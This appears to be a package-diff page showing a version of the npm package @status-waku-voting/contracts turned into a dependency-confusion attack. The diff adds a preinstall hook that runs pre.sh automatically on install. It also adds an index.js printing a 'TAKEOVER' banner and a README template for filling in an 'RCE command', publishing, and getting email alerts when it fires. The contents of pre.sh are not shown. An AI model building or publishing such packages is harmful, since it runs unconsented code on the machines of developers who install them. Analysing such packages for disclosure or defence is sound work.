@status-waku-voting/contracts 0.0.1-security → 0.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of @status-waku-voting/contracts might be problematic. Click here for more details.
- package/README.md +13 -3
- package/index.js +1 -0
- package/package.json +12 -3
- package/pre.sh +3 -0
package/README.md
CHANGED
@@ -1,5 +1,15 @@
|
|
1
|
-
#
|
1
|
+
# npmdc-poc
|
2
2
|
|
3
|
-
|
3
|
+
Template repository which contains dependency confusion poc for npm package
|
4
4
|
|
5
|
-
|
5
|
+
## Usage
|
6
|
+
|
7
|
+
1. Clone the repository
|
8
|
+
2. Update `package.json` file with the vulnerable package details
|
9
|
+
3. Update `pre.sh` without your RCE command
|
10
|
+
4. Publish the package
|
11
|
+
5. (Optional) `backend.php` (if you want to setup a php api which will email about the trigger)
|
12
|
+
|
13
|
+
## Disclaimer
|
14
|
+
|
15
|
+
This is only for educational purpose. User will be responsible for any usage of this.
|
package/index.js
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
console.log('================ TAKEOVER by Codermak ================')
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "@status-waku-voting/contracts",
|
3
|
-
"version": "0.0.1
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "0.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "./pre.sh @status-waku-voting/contracts"
|
8
|
+
},
|
9
|
+
"repository": {
|
10
|
+
"type": "git",
|
11
|
+
"url": "git+https://github.com/codermakhackerone"
|
12
|
+
},
|
13
|
+
"author": "",
|
14
|
+
"license": "ISC"
|
6
15
|
}
|
package/pre.sh
ADDED